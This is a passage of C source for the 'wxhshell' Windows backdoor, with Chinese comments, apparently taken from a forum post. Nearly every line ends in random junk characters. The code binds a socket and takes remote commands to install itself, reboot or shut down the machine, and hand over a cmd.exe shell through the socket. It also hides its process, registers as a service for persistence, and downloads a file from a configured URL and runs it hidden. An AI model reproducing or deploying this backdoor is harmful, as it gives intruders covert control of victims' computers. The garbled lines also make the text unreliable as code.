  } \^LFkp  
  else { <$YlH@;)`a  
vIvIfE  
    switch(cmd[0]) { "N;EL0=  
  =*Lfl'sr_  
  // 帮助 *hrvYil2b  
  case '?': { teP<!RKNb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^pS~Z~[d/  
    break; Fu~j8K  
  } o4;(Zi#Z  
  // 安装 g7|@  
  case 'i': { u NyVf7u  
    if(Install()) ni<(K 0~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %xW"!WbJ|  
    else YR70BOxK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >_TZ'FT  
    break; Om<a<q  
    } [7-?7mp!B  
  // 卸载 h;Qk @F  
  case 'r': { sT.ss$HY9,  
    if(Uninstall()) TvM~y\s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2eogY#  
    else [Pp'Ye~K@c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k+ /6$pI  
    break; 46x'I(  
    } IBGrt^$M  
  // 显示 wxhshell 所在路径 "MsIjSu  
  case 'p': { l]vm=7:  
    char svExeFile[MAX_PATH]; _aphkeqd  
    strcpy(svExeFile,"\n\r"); xk5 ]^yDp  
      strcat(svExeFile,ExeFile); jdN` mosJ  
        send(wsh,svExeFile,strlen(svExeFile),0); YUb_y^B^  
    break; T|$H#n}  
    } *a)n62  
  // 重启 mv><HqDL1  
  case 'b': { x^ni1=kU  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ef\ -VKh  
    if(Boot(REBOOT)) hP h-+Hb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \['Cj*ek  
    else { / FII07V  
    closesocket(wsh); :s,Z<^5a)g  
    ExitThread(0); n<,BmVQ  
    } ,uvRi)O>a  
    break; zA 3_Lx!  
    } kM 6 Qp  
  // 关机 3$tdwe$S  
  case 'd': { |)&%A%m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GyIV Hby  
    if(Boot(SHUTDOWN)) Xvv6~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O1lNAcpeM  
    else { _!6jR5&r,  
    closesocket(wsh); f3;5Am  
    ExitThread(0); >?b!QU* a  
    } #WuBL_nZ~  
    break; `uFdwO'DD  
    } {ax:RUQxy  
  // 获取shell wJ]d&::@h  
  case 's': { oDR%\VY6T  
    CmdShell(wsh); H|*m$| $,  
    closesocket(wsh); 'F<TSy|4kI  
    ExitThread(0); RN1_S  
    break; Y73C5.dNcE  
  } r$1Qf}J3=  
  // 退出 !VJoM,b8  
  case 'x': { ixFi{_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .8R@2c`}Cs  
    CloseIt(wsh); D- c4EV  
    break; #R"*c hLV  
    } p?!/+  
  // 离开 x Ar\gu  
  case 'q': { 8m MQ[#0:}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ulyue  
    closesocket(wsh); = &]L00u.  
    WSACleanup(); ^c<Ve'-  
    exit(1); Wri<h:1  
    break; b sX[UF  
        } pkzaNY/q  
  } DrR@n~  
  } WY/}1X9.%  
$X6h|?3U,  
  // 提示信息 }pYqWTG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >j/w@Fj  
} uYN`:b8  
  } WLT"ji0w2  
*VcJ= b 2Y  
  return; *p U x8yB  
} | (93gJ  
vQCy\Gi   
// shell模块句柄 }j%5t ~Qa  
int CmdShell(SOCKET sock) \85i+q:LuA  
{ gJXaPJA{  
STARTUPINFO si; }OUtsh]y  
ZeroMemory(&si,sizeof(si)); V&5wRz+`W  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =  [E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oxs#866x  
PROCESS_INFORMATION ProcessInfo; ? k/`  
char cmdline[]="cmd";  @5FQX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A&VG~r$  
  return 0; KPF1cJ2N  
} w>gYx(8b  
xp t:BBo  
// 自身启动模式 Sc0w.5m6  
int StartFromService(void) (HVGlw'`  
{ X8|,   
typedef struct C_Dn{  
{ ;+%rw2Z,B  
  DWORD ExitStatus; r&CiSMS*  
  DWORD PebBaseAddress; t0S 1QC+  
  DWORD AffinityMask; Cy e.gsCT  
  DWORD BasePriority; z_HdISy0  
  ULONG UniqueProcessId; /x hKd]Q  
  ULONG InheritedFromUniqueProcessId; 1#x0q:6  
}   PROCESS_BASIC_INFORMATION; F%|h;+5  
D~m*!w*  
PROCNTQSIP NtQueryInformationProcess; q m}@!z^  
d0D] Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^!d3=}:0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iTwm3V P  
;pAK_>  
  HANDLE             hProcess; >7|VR:U?B  
  PROCESS_BASIC_INFORMATION pbi; Ac@VGT:9  
s[jTP(d)8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uT"rq:N  
  if(NULL == hInst ) return 0; G\i9:7 `  
9w"*y#_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &yg|t5o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V!Uc(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); TOt dUO  
& 21%zPm  
  if (!NtQueryInformationProcess) return 0; ZVBXx\{s  
KO [Yi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]gOy(\B  
  if(!hProcess) return 0; COlqcq'qAu  
*@5@,=d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7#XzrT]  
{c'lhUB  
  CloseHandle(hProcess); ]Ze1s02(  
\e*]Ls#jS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0kh6@y3  
if(hProcess==NULL) return 0; M%HU4pTW#o  
q~3>R=t  
HMODULE hMod; dPlV>IM$z  
char procName[255]; T)/eeZ$  
unsigned long cbNeeded; FPz9N@M%Q  
o/E >f_k[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jcOcWB|  
1}x%%RD_  
  CloseHandle(hProcess); iS^QTuk3%  
uRvP hkqm  
if(strstr(procName,"services")) return 1; // 以服务启动 ';CNGv -  
0mE 0 j  
  return 0; // 注册表启动 Ud?Q%) X  
} ^qs $v06  
_6Sp QW  
// 主模块 (`^1Y3&2  
int StartWxhshell(LPSTR lpCmdLine) 04ui`-c(  
{ }2jn[${ pr  
  SOCKET wsl; @d'j zs  
BOOL val=TRUE; e'~3oqSvR  
  int port=0; Q ,g\  
  struct sockaddr_in door; dO'(2J8  
{: /}NpA$  
  if(wscfg.ws_autoins) Install(); ?uu*L6  
aE8VZ8tvq  
port=atoi(lpCmdLine); Dt@SqX:~Ee  
Nn6%9PX_)  
if(port<=0) port=wscfg.ws_port; kiEa<-]  
{7[Ox<Ho  
  WSADATA data; N2G{<>=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O.? JmE  
rI\FI0zIp_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {}9a6.V;}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3";q[&F9y  
  door.sin_family = AF_INET; MgZ/(X E  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4#D,?eA7  
  door.sin_port = htons(port); dtDFoETz  
/ZX }Nc g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '1[Ft03  
closesocket(wsl); cAw/I@jG  
return 1; Yy8g(bU  
} 4W75T2q#  
2 ?C)&  
  if(listen(wsl,2) == INVALID_SOCKET) { wYea\^co  
closesocket(wsl); LVy yO3e  
return 1; b%+Xy8a  
} a?1Wq  
  Wxhshell(wsl); KI.unP%  
  WSACleanup(); *. t^MP  
W?& %x(6M  
return 0; tQVVhXQ7  
^iA9%zp  
} 7V>M]  
X w1*(ffk  
// 以NT服务方式启动 *~`(RV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h[ ZN+M  
{ kJU2C=m@e2  
DWORD   status = 0;  " bG2:  
  DWORD   specificError = 0xfffffff; PT ~D",k  
G@0&8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V`5 O{Gg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +@UV?"d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xdPx{"C 3  
  serviceStatus.dwWin32ExitCode     = 0; S:}7q2:  
  serviceStatus.dwServiceSpecificExitCode = 0; ZSw.U:ep$s  
  serviceStatus.dwCheckPoint       = 0; 6)J#OKZ  
  serviceStatus.dwWaitHint       = 0; st*gs-8jJ;  
/Oono6j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ri'n  
  if (hServiceStatusHandle==0) return; +ZYn? #IQ  
!D6]JPX  
status = GetLastError(); qs6aB0ln  
  if (status!=NO_ERROR) 3|7QU ld  
{ %<5'=t'|-U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |Tw~@kT@  
    serviceStatus.dwCheckPoint       = 0; AA_%<zK  
    serviceStatus.dwWaitHint       = 0; kAx4fE[c  
    serviceStatus.dwWin32ExitCode     = status; \e_O4  
    serviceStatus.dwServiceSpecificExitCode = specificError; M|-)GvR$J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ICCc./l|  
    return; M5B# TAybC  
  } MD]>g>  
[QTV9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CTK;dM'uQ  
  serviceStatus.dwCheckPoint       = 0; yZ:qU({KhD  
  serviceStatus.dwWaitHint       = 0; iso4]>LF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @HW*09TG  
} Efe 7gE'  
& kIFcd@  
// 处理NT服务事件,比如:启动、停止 }u|q0>^8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $]1=\ I  
{ AW .F3hN)  
switch(fdwControl) 0:+E-^X  
{ 6@o*xK7L  
case SERVICE_CONTROL_STOP: llDJ@  
  serviceStatus.dwWin32ExitCode = 0; 8t`?#8D}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0x7'^Z>-oe  
  serviceStatus.dwCheckPoint   = 0; 8MBAtVmy  
  serviceStatus.dwWaitHint     = 0; e!`i3KYn"  
  { !k%#R4*>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VQI 3G  
  } K,]=6 Rj  
  return; c,22*.V/  
case SERVICE_CONTROL_PAUSE: zi:BF60]=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0V]s:S  
  break; l%ZhA=TKQ  
case SERVICE_CONTROL_CONTINUE: J1kM\8%b\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; IID5c" oR  
  break; )Z$!PqRw@u  
case SERVICE_CONTROL_INTERROGATE: 67TwPvh  
  break; +(*DT9s+  
}; iE{&*.q_}>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,Q,^3*HX9}  
} Q?T]MUY(L  
VpUAeWb  
// 标准应用程序主函数 &zhAh1m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8fb'yjIC  
{ >7r!~+B"9'  
,[Fb[#Qqb  
// 获取操作系统版本 l,: F  
OsIsNt=GetOsVer(); Q&&@v4L   
GetModuleFileName(NULL,ExeFile,MAX_PATH); JRFtsio*  
)+M0Y_r  
  // 从命令行安装 hSMH,^Io$  
  if(strpbrk(lpCmdLine,"iI")) Install(); [Q =N n  
"3hMq1NQ`g  
  // 下载执行文件 5IN(|B0  
if(wscfg.ws_downexe) { F?cK- .  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }Lv;!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2tLJU  Z1  
} eQ"E   
hcc/=_hA  
if(!OsIsNt) { -&;TA0~;  
// 如果时win9x,隐藏进程并且设置为注册表启动 {!`4iiF  
HideProc(); M;NX:mX9  
StartWxhshell(lpCmdLine); 6RM/GM  
} sGb{9.WK  
else 7KPwQ?SjT  
  if(StartFromService()) 3F0 N^)@  
  // 以服务方式启动 V1?]|HTQcT  
  StartServiceCtrlDispatcher(DispatchTable); ccnK#fn v  
else [Yyk0Qv|4  
  // 普通方式启动 l@\FWWQ  
  StartWxhshell(lpCmdLine); Tr|JYLwF  
*kVV+H<X|b  
return 0; b\ PgVBf9  
}
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只看该作者 1 发表于: 2006-10-10
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